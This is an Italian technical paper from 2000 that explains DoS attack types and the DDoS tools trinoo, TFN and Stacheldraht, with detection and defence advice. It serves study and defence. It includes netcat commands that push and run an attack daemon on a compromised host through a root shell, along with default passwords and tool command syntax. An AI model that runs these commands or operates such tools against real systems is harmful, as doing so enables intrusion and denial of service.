-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Appunti sugli strumenti di Distributed Denial of Service (DDoS)
Gianni Bianchini, Alessio Frusciante
{giannibi, algol}@firenze.linux.it
HackLab Firenze - 23 Febbraio 2000
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
INTRODUZIONE
============
Per Denial of Service (DoS) si intende generalmente un attacco
progettato allo scopo di impedire le regolari funzioni di un sistema o
comunque causarne un degrado delle prestazioni. Nel contesto delle
reti, un simile risultato lo si ottiene tipicamente con l'invio di
informazione opportunamente "forgiata". Il DoS puo' essere causato ad
esempio dal volume stesso dei dati passati alla vittima, che provoca
la saturazione delle risorse del sistema (starvation), o dal contenuto
di questi, appositamente progettato per sfruttare le vulnerabilita'
presenti nei servizi o nei protocolli, siano queste "concettuali" o di
implementazione hardware e software. Gli attacchi DoS che
consideriamo si basano sull'architettura {TCP, UDP, ICMP}/IP [12] e
sui servizi che la utilizzano. Alcune delle tipologiep iu' comuni sono
le seguenti:
- Flooding generico (UDP, ICMP)
L'obiettivo di tali attacchi e' essenzialmente quello di saturare
la banda del bersaglio (chi ha piu' banda vince...) o altre
risorse (es. CPU time dei dispositivi di rete). "Pepsi", ad
esempio, realizza un flooding UDP diretto alle porte dedicate alla
diagnostica su alcuni router.
- SYN flooding
Sono attacchi basati sull'invio di richieste di apertura
connessione TCP (SYN messages) cui non segue il completamento
dell'handshaking necessario allo stabilirsi del collegamento (cio'
si ottiene per esempio mediante spoofing dell'indirizzo di
provenienza). Le richieste "in sospeso" vengono memorizzate dal
server in un buffer di lunghezza finita, suscettibile di overflow
qualora la frequenza di arrivo delle nuove richieste risulti
superiore alla frequenza di smaltimento di quelle in timeout. Il
risultato e' l'incapacita' del sistema di accettare nuove
connessioni "legittime".
- Teardrop e relative varianti (bonk, nestea, newtear, ecc.) basate su
"fragmentation bugs"
Questi DoS sfruttano varie vulnerabilita' (tipiche dei diversi
sistemi) nell'implementazione dell'IP per quanto riguarda il
codice di riassemblaggio dei pacchetti IP frammentati; il loro
effetto e' tipicamente quello di causare il crash del sistema che
ne e' vittima.
- Attacchi che sfruttano "errori di progetto" di varia natura del
bersaglio
E' il caso di "land", che invia al server pacchetti SYN con
indirizzo di origine uguale all'indirizzo di destinazione,
situazione non prevista e non correttamente gestita nelle prime
versioni di alcuni sistemi, o del famoso "ping of death", che
sfrutta l'incapacita' di gestire messaggi ICMP di grandi
dimensioni, o ancora di "jolt", che si basa sulla gestione
impropria della frammentazione dell'ICMP.
- DoS "ad amplificazione di traffico"
Il piu' famoso di questi e' "smurf", il quale invia un gran numero
di richieste ICMP_ECHO (ping) ad un indirizzo di broadcast di una
sottorete (ad es. x.y.z.255), aventi ciascuna come indirizzo di
ritorno quello della macchina A, vittima dell'attacco. All'arrivo
della richiesta ICMP_ECHO, ogni host x.y.z.t risponde con un
ICMP_ECHOREPLY indirizzato alla macchina A, la quale, specialmente
se la rete x.y.z.t e' composta da un buon numero di host, viene
"assalita" dal traffico entrante e perde connettivita'. La
variante "fraggle" sfrutta l'UDP echo. Tanto A quanto la rete
utilizzata per generare il traffico risultano di fatto "vittime"
di questo tipo di attacchi.
- Attacchi DoS diretti ai servizi
Errori di vario genere nel progetto e nella codifica dei daemon di
rete possono essere sfruttati per alterare le prestazioni dei
servizi o renderli inefficienti. La mancanza di controllo sulla
lunghezza dell'input fornito dal client puo' ad esempio generare
la morte del daemon di servizio a causa di un errore di
protezione; e' il caso di alcune (non troppo vecchie) versioni di
bind: i nameserver che le impiegano possono essere messi
facilmente fuori uso.
Si rimanda a [13] per la descrizione tecnica di un gran numero di
possibili attacchi DoS. In passato, ogni attacco di questo genere
verso un particolare server o rete proveniva normalmente da una sola
sorgente, di solito rappresentata da un host in precedenza compromesso
e con sufficiente banda in uscita. Tipici punti di partenza erano (e
sono tuttora) le reti universitarie, caratterizzate da una buona
connettivita' e dalla presenza di numerose macchine unix, connesse
direttamente "sul mondo" e spesso gestite in modo irrispettoso delle
piu' elementari misure di sicurezza, come un'adeguata configurazione
dei servizi di rete e l'aggiornamento del software piu' esposto a
permettere intrusioni. Recentemente sono stati introdotti alcuni
strumenti software che traggono vantaggio dalla possibilita' di
disporre di un certo numero di risorse, opportunamente predisposte,
allo scopo di condurre un'azione di DoS in qualche modo
coordinata. Tali strumenti sono noti come Distributed System Intruder
Tools. Mediante essi e' possibile lanciare attacchi di tipo DoS a
partire da piu' sistemi contemporaneamente verso uno o piu'
bersagli. Il vantaggio piu' evidente di un simile approccio e' la
possibilita' di ottenere effetti di entita' assai maggiore rispetto a
quelli di un attacco "semplice"; inoltre la particolare struttura
"gerarchica" di questi sistemi e' tale da rendere difficilmente
tracciabile l'origine dell'attacco [14]. In generale, gli strumenti
di DDos fanno affidamento su un buon numero di host connessi in rete
sui quali l'autore dell'offensiva dispone di accesso privilegiato. Si
tratta in genere di sistemi precedentemente compromessi a livello
root, ad esempio mediante l'exploit remoto di note vulnerabilita' di
alcuni servizi di rete [10].
PREPARIAMO L'ARSENALE
=====================
Le operazioni "preliminari" all'attuazione di un attacco DDoS possono
essere ad esempio le seguenti:
1) Utilizzo di un account qualunque come "deposito" di strumenti di
vario genere come scanner, sniffer, exploit per un certo numero di
vulnerabilita', rootkits, liste di host compromessi o
compromettibili, sorgenti e binari degli strumenti DDoS, ecc.
2) Effettuazione di uno scan estensivo di potenziali host di cui
assumere il controllo. Tipicamente ci si concentra su sistemi unix
con funzioni di server nei cui servizi si possano sfruttare da
remoto condizioni di buffer overflow che permettano l'esecuzione di
una root shell: tali condizioni si trovano in alcune versioni di
servizi RPC quali nfs, in alcuni server ftp, ecc. I sistemi presi
di mira sono di solito Linux e Solaris, sia per la facilita' con cui
se ne possono trovare di installati "a scatola chiusa", sia per la
vasta disponibilita' di "shellcode" precompilati e rootkits per
queste piattaforme. Naturalmente, a partire da un host compromesso,
e' possibile tentare di sfruttare il trust che altri hanno su
questo, in modo da guadagnare altri host alla causa in maniera un
po' piu' agevole rispetto all'exploit di un buffer overflow. Da qui
l'opportunita' dell'installazione di tool come sniffer, ecc.
3) Acquisizione del controllo degli host individuati, sui quali
solitamente viene messa in esecuzione una root shell a cui sia
possibile inviare comandi tramite netcat (nc) su una specifica
porta. In questo modo si ha il totale controllo da remoto della
macchina senza doverci accedere interattivamente. Supposto che
miohost sia l'host "bucato" su cui e' stata predisposta una root
shell che ascolta sulla porta 1524/tcp, una serie di comandi del
tipo
--------------------------------------------------------------------
evil# echo "rcp evil:ddosd /usr/sbin/ddosd" | nc miohost 1524
evil# echo "chmod a+x /usr/sbin/ddosd" | nc miohost 1524
evil# echo "/usr/sbin/ddosd" | nc miohost 1524
--------------------------------------------------------------------
puo' ad esempio essere usata per trasferire il binario del programma
daemon ddosd sulla macchina compromessa e ivi mandarlo in
esecuzione. Naturalmente questo procedimento puo' essere
automatizzato mediante scripting e l'uso di una tabella degli host
"disponibili" aiuta in questo senso. Il daemon ddosd (fin qui
generico) puo' essere ad esempio il meccanismo mediante il quale
altri host comunicheranno con miohost per il coordinamento
dell'azione di DoS, secondo il protocollo del particolare strumento
usato. Il procedimento di installazione e' molto rapido e la
presenza (fisica dell'eseguibile, nella lista dei processi, ecc.)
del daemon di servizio puo' essere opportunamente mascherata con
metodi classici, come l'impiego di versioni "troianizzate" di alcune
utility di sistema (rootkit), la cui installazione puo' essere
eseguita contestualmente a quella del daemon. I sistemi DDoS sono
caratterizzati da una struttura gerarchica in cui il ruolo di alcune
macchine e' piu' cruciale di quello di altre. L'attivita' di tali
macchine "centrali" dovra' essere solo minimamente rivelabile: da
qui la necessita' di impiego dei suddetti tool e quella di collocare
questi "master" in posizioni strategiche come il DNS primario di un
provider, che sara' presumibilmente soggetto a intenso traffico (e
che magari, visto che ormai siamo a sognare, girera' pure una bella
versione bacata di bind... <g>). E' opportuno osservare che gli
strumenti di DDoS, come molti programmi che realizzano attacchi DoS
in genere, non possono prescindere dal possesso di privilegi root
sulla macchina ospite, poiche' tipicamente fanno uso di raw sockets
[7].
CARICARE... PUNTARE... FUOCO!
=============================
A questo punto e' necessario esaminare la struttura e il funzionamento
dei singoli sistemi. Prenderemo in considerazione in modo non
tecnicamente dettagliatissimo i seguenti tre:
- trinoo
- TFN (Tribe Flood Network)
- Stacheldraht.
TRINOO [2]
==========
L'architettura della rete trinoo puo' essere riassunta nel seguente
schema, in cui ogni host (tranne presumibilmente il bersaglio) e'
costituito da una macchina preparata come descritto nel precedente
paragrafo.
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+--
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
|(master.c)| | | | |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+--
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
| (ns.c) | | | | | | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| | | | |
| | | | |
. . . ---+------------+------------+------------+------------+----
|
|
+-----------+
| bersaglio |
+-----------+
Ogni "attacker" ha il controllo interattivo di uno o piu' "master"
(master.c), ciascuno dei quali ha la capacita' di controllare piu'
"daemon" (ns.c), a cui e' affidato il compito di condurre un'azione di
DoS coordinata contro il bersaglio. Il tipo di DoS utilizzato da
questo sistema e' un semplice UDP flooding su porte random.
-> MASTER <-
Il master server gira su ognuno dei master host e necessita di una
password per essere attivato:
----------------------------------------------------------------------
master_xx# ./master
?? g0rave ; passwd di default
trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
master_xx#
----------------------------------------------------------------------
Una volta attivo, il master implementa un telnet daemon (porta
27665/tcp) mediante il quale l'attacker comunica i propri
comandi. L'accesso al master e' subordinato anch'esso alla verifica
mediante password, decisa al momento della compilazione. Il master
risponde all'attacker con un prompt.
----------------------------------------------------------------------
attacker$ telnet master_yy 27665
Trying ...
Connected to ...
Escape character is '^]'.
betaalmostdone ; passwd di default
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
----------------------------------------------------------------------
Le password impiegate sono del classico tipo crypt() e trasmesse in
testo chiaro attraverso la rete; inoltre la comunicazione non e'
crittata, il che espone il sistema trinoo tanto allo sniffing delle
password che ad eventuale hijacking della sessione [8,11].
Ogni master mantiene una lista dei daemon controllati attivi.
Alcuni comandi del master.
----------------------------------------------------------------------
die ; chiudi il master
dos IP ; effettua il DoS sull'IP specificato: questo fa si'
che il master istruisca ciascuno dei daemon sotto il
suo controllo a far partire un attacco verso IP.
mdos <IPlist> ; effettua un DoS multiplo degli host in IPlist
bcast ; lista tutti i daemon attivi
mdie passwd ; uccidi tutti i daemon (passwd='killme')
killdead ; effettua un aggiornamento della lista dei daemon
attivi interrogando quelli attualmente in lista
----------------------------------------------------------------------
-> DAEMON <-
L'unica comunicazione interattiva e' quella tra attacker e
master. Ciascun master, in seguito a comandi inviati dall'attacker,
comanda i daemon sotto il suo controllo mediante stringhe del formato
arg1 password arg2
trasmesse in testo chiaro sulla rete. Il protocollo utilizzato per la
comunicazione master-daemon e' UDP
master -> daemon 27444/udp daemon -> master 31335/udp
Ciascuno dei daemon possiede la lista dei master server compilata
all'interno del programma stesso. All'avvio, ogni daemon notifica la
sua presenza al master inviando la stringa *HELLO*, il master mantiene
cosi' una lista dei daemon attivi controllati, la quale puo' venire in
seguito aggiornata a richiesta mediante appositi comandi.
Alcuni comandi del daemon.
----------------------------------------------------------------------
aaa passwd IP ; effettua il DoS dell'IP specificato (UDP flood di
durata prefissata)
bbb passwd N ; imposta la durata del flood
shi passwd ; invia la stringa *HELLO* alla lista dei master per
l'aggiornamento della tabella
xyz passwd 123:<IPlist>
; effettua un DoS multiplo su <IPlist>
----------------------------------------------------------------------
-> IDENTIFICAZIONE <-
In assenza di eventuali versioni modificate delle utility di
monitoraggio, la presenza di un master attivo in un sistema e'
riconoscibile dalle seguenti connessioni di rete aperte
----------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
. . .
udp 0 0 *:31335 *:*
. . .
# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)
----------------------------------------------------------------------
dove il processo 1292 "master" e' per l'appunto il master server.
La presenza di un daemon lascia invece le seguenti "tracce"
----------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
. . .
# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444
-----------------------------------------------------------------------
il pid 1316 "ns" e' quello del daemon.
-> PUNTI DEBOLI <-
1) Le password in formato crypt() e il nome dei comandi sono
presenti nell'immagine binaria dei programmi. Sostituendo l'hash
della password con uno noto e' ad esempio possibile avviare il
master e recuperare la lista dei daemon, una volta individuato un
daemon si puo' risalire alla lista dei master "cablata" sotto forma
di stringhe nel binario.
2) Tutte le debolezze del traffico in chiaro.
-> DIFESA <-
Alcuni possibili strumenti.
1) A priori, limitare la possibilita' di intrusione a livello root,
e questa e' un'altra storia.
2) Monitoraggio del traffico UDP, in modo da individuare le tracce
di una comunicazione master-daemon, o TCP per intercettare il
dialogo attacker-master, che oltretutto avviene in chiaro. I piu'
acrobati possono tentare un hijacking della sessione e procurarsi la
lista dei daemon.
3) Il filtraggio UDP non e' di solito efficiente, poiche'
compromette il funzionamento di eventuali servizi che impiegano tale
protocollo.
TFN (Tribe Flood Network) [3]
=============================
Questo DDoS tool, il cui autore e' Mixter, si basa uno schema
piuttosto simile a quello visto per trinoo ed e' caratterizzato da una
maggiore semplicita' nel meccanismo di comunicazione. TFN, di cui
esiste un'evoluzione (TFN2k), e' capace di effettuare DoS distribuiti
mediante attacchi di tipo
- ICMP flood SYN flood UDP flood Attacchi Smurf-like
ed offre inoltre la possibilita' di agganciare una root shell ad una
porta TCP. La rete e' composta da alcune macchine che girano il
programma client tribe.c e da alcune che girano il programma daemon
td.c, secondo la seguente struttura:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+--
| | |
| | |
+----------+ +----------+ +----------+
| client | | client | | client |
|(tribe.c) | | | | |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+--
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
| (td.c) | | | | | | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| | | | |
| | | | |
. . . ---+------------+------------+------------+------------+----
|
|
+-----------+
| bersaglio |
+-----------+
Al solito, ogni attacker controlla uno o piu' client, ciascuno dei
quali controlla piu' daemon, ai quali daemon e' assegnato il compito
di effettuare l'attacco coordinato.
-> CLIENT <-
Il client non funziona da "server daemon", come nel caso del master di
trinoo e non vi e' quindi accesso interattivo. Il programma client
viene lanciato, ad esempio mediante una root shell collegata ad una
porta o con una semplice sessione ssh, ogni volta che si desidera far
partire un attacco o istruire i daemon. La linea di comando e' del
tipo:
----------------------------------------------------------------------
# ./tfn <iplist> <type> [ip] [port]
<iplist> ; lista dei daemon da attivare
<type> ; tipo di attacco o parametro da impostare. es.
-2 - Set dimensione pacchetto
-1 - Set spoofing mode (0-3)
0 - Stop
1 - UDP flood
2 - SYN flood
3 - ICMP flood
4 - Collega rootshell
5 - Smurf-like (primo IP=bersaglio, altri IP bcast)
[ip] ; lista IP (separati da @)
[port] ; Porta, obbligatoria per SYN flood, 0=random
----------------------------------------------------------------------
-> DAEMON <-
La comunicazione client-daemon, a differenza di trinoo in cui questa
avviene mediante stringhe di testo trasmesse tramite UDP, si realizza
tramite ICMP. Ogni messaggio e' costituito da un codice a 16 bit nel
campo ID di un pacchetto di tipo ICMP_ECHOREPLY con sequence number
costantemente pari a zero, esattamente come il primo pacchetto di
_risposta_ ad un comune ping, che non genera di per se' alcun
messaggio di ritorno; il daemon eventualmente risponde con un altro
pacchetto ICMP_ECHOREPLY. Poiche' _non_ c'e' alcuna protezione della
comunicazione mediante password, i codici di default possono essere
cambiati nel sorgente dei programmi in modo da prevenire l'invio di
comandi "spuri" da parte di terzi. Il meccanismo di comunicazione
client-daemon rende l'attivita' del sistema assai difficilmente
individuabile, specialmente in reti di una certa dimensione.
-> IDENTIFICAZIONE <-
La presenza di un TFN daemon su un host mostra semplicemente un socket
aperto con protocollo non specificato ed eventualmente un listening
socket TCP nel caso sia attiva la funzione di shell remota. Un
possibile output di lsof e' il seguente:
----------------------------------------------------------------------
td 5970 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5970 root rtd DIR 3,1 1024 2 /
td 5970 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td (deleted)
td 5970 root 0u inet 92909 TCP
*:12345 (LISTEN)
td 5970 root 3u sock 0,0 92814 can't
identify protocol
----------------------------------------------------------------------
-> DIFESA <-
Il canale di comunicazione client-daemon e' piuttosto "sicuro", nel
senso che l'unico metodo efficace per interromperlo e' il filtraggio
brutale dell'ICMP, in molti casi non applicabile. Un raffinamento di
questa tecnica puo' essere rappresentato dalla verifica del rispetto
di alcune regole nel traffico, ad esempio la generazione di pacchetti
ICMP_ECHOREPLY a seguito di ICMP_ECHO.
STACHELDRAHT [15]
=================
Stacheldraht e' la parola tedesca per filo spinato ("Stachel" spina e
"Draht" cavo) e puo' essere considerato un'evoluzione di trinoo e TFN.
In analogia a trinoo, stacheldraht ha una struttura composta da uno
piu' master "handler" e molti daemon "agent", ed in comune con TFN ha
la possibilita' di scegliere l'attacco tra una varieta' di metodi
(ICMP flood, SYN flood, UDP flood e smurfing).
-> HANDLER E AGENT <-
Una delle aggiunte piu' interessanti e' il fatto che la comunicazione
tra l'attacker e gli handler e' cifrata. Cio' comporta alcune evidenti
conseguenze tra cui l'impossibilita' di tentare un hijacking per
riuscire ad ottenere informazioni sulla rete di attacco.
Nel codice attualmente a disposizione, la comunicazione tra attacker e
handler avviene sulla porta 16660 tcp e la comunicazione tra handler e
agent avviene tramite ICMP e porta 65000 tcp.
Per accedere all'handler, l'attacker deve specificare una password di
tipo crypt(), che pero' viene criptata con una passphrase tramite
l'algoritmo Blowfish (di default "authentication"). Una volta
stabilita la connessione tutto il traffico e' cifrato con Blowfish.
L'utente ha la possibilita' di utilizzare una serie di comandi, sia
diagnostici, che esecutivi, compreso un help.
I comandi servono a verificare quanti agent sono attivi, all'interno
di una lista mantenuta sull'handler, eventualmente a terminarli, ad
aggiungere o togliere un handler dalla lista degli handler, a
cominciare o a terminare l'attacco, etc. Una caratteristica
interessante di Stacheldraht e' che permette di effettuare un upgrade
degli agent tramite un semplice comando (.distro), che usa rcp per
scaricare da un account compromesso un'immagine aggiornata, cancella
la vecchia copia e poi lancia quella nuova. Quindi un eventuale
cambiamento puo' essere velocemente diffuso.
Ci sono poi delle operazioni che gli agent compiono in automatico
quando vengono avviati (ricordiamoci che l'utente puo' comunicare solo
con l'handler). L'agent cerca di trovare quali sono gli handler
attivi, cercando una lista di indirizzi all'interno di un file di
configurazione. Se tale file di configurazione non e' presente,
l'agent cerca di connettersi ad un indirzzo di default. Una volta
trovati quali potrebbero essere gli handler di sua pertinenza, l'agent
prova ad interrogare il primo, utilizzando unpacchetto ICMP di tipo
Echo Reply con ID 666 e contenente come dati la stringa"skillz". Se
l'handler e' attivo, risponde con un altro pacchetto ICMP Echo Reply
con id 667 e avente nel campo dati "ficken".
Oltre a cio' l'agent tenta di determinare se la rete locale in cui si
trova permette l'uscita di pacchetti con IP spoofato. Per fare cio'
manda un pacchetto ICMP Echo Reply con indirizzo sorgente 3.3.3.3, ID
666 e il campo dati contenente il vero indirizzo IP. Se l'handler
riceve il pacchetto risponde con un altro ICMP Echo Reply, con ID 1000
e "spoofworks" nel campo dati. Se entro un certo timeout l'agent non
riceve risposta, spoofera' solo l'ultimo ottetto, altrimenti puo'
spoofare l'intero indirizzo.
-> IDENTIFICAZIONE <-
Veniamo adesso alle tracce che Stacheldraht lascia. Innanzitutto
all'interno degli eseguibili, sia nel master che nel daemon, sono
presenti delle stringhe in chiaro che possono essere riconosciute
tramite un semplice grep. Chiaramente cio' e' facilmente modificabile
dal sorgente. Altre tracce sono i pacchetti di scambio tra master e
daemon prima descritti, che contengono stringhe facilmente
riconoscibili, in quanto incapsulate in chiaro nei pacchetti ICMP. Non
e' difficile scrivere dei tool che monitorano l'attivita' dei
pacchetti ICMP Echo Reply con gli ID descritti. Un'ulteriore
possibilita' e' quella di controllare i pacchetti con IP con sorgente
3.3.3.3 che escono dalla rete locale, i quali inoltre contengono l'IP
reale della macchina su cui risiede il daemon. Anche queste
caratteristiche, pero', sono facilmente modificabili dai sorgenti.
RIFERIMENTI
===========
[1] Denial of Service Attacks Resource - http://www.denialinfo.com
[2] D. Dittrich - The DoS Project's "trinoo" distributed denial of
service attack tool -
http://staff.washington.edu/dittrich/misc/trinoo.analysis
[3] D. Dittrich - The "Tribe Flood Network" distributed denial of
service attack tool -
http://staff.washington.edu/dittrich/misc/tfn.analysis
[4] Distributed Denial of Service (DDoS) Attacks/tools -
http://staff.washington.edu/dittrich/misc/ddos/
[5] Satan documentation - http://www.wwdsi.com
[6] Packetstorm Security Website - http://packetstorm.securify.com
[7] Raw IP Networking FAQ - http://www.whitefang.com/rin/
[8] B. Claerhout - A short overview of IP spoofing: PART I -
http://www.nmrc.org/files/unix/ip-exploit.txt
[9] Anonymous - Maximum Linux Security - SAMS 1999
[10] Bugtraq archive & ML - http://www.securityfocus.com
[11] Hunt project - http://www.cri.cz/kra/index.html
[12] W. R. Stevens and G. R. Wright - TCP/IP illustrated, vol. I, II,
III - Addison-Wesley
[13] Attrition DoS Database -
http://www.attrition.org/security/denial/index.html
[14] Mixter - "Tribe Flood Network 3000" -
http://packetstorm.securify.com/distributed/tfn3k.txt
[15] D. Dittrich - The "stacheldraht" distributed denial of service
attack tool
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
http://www.gnomixland.com/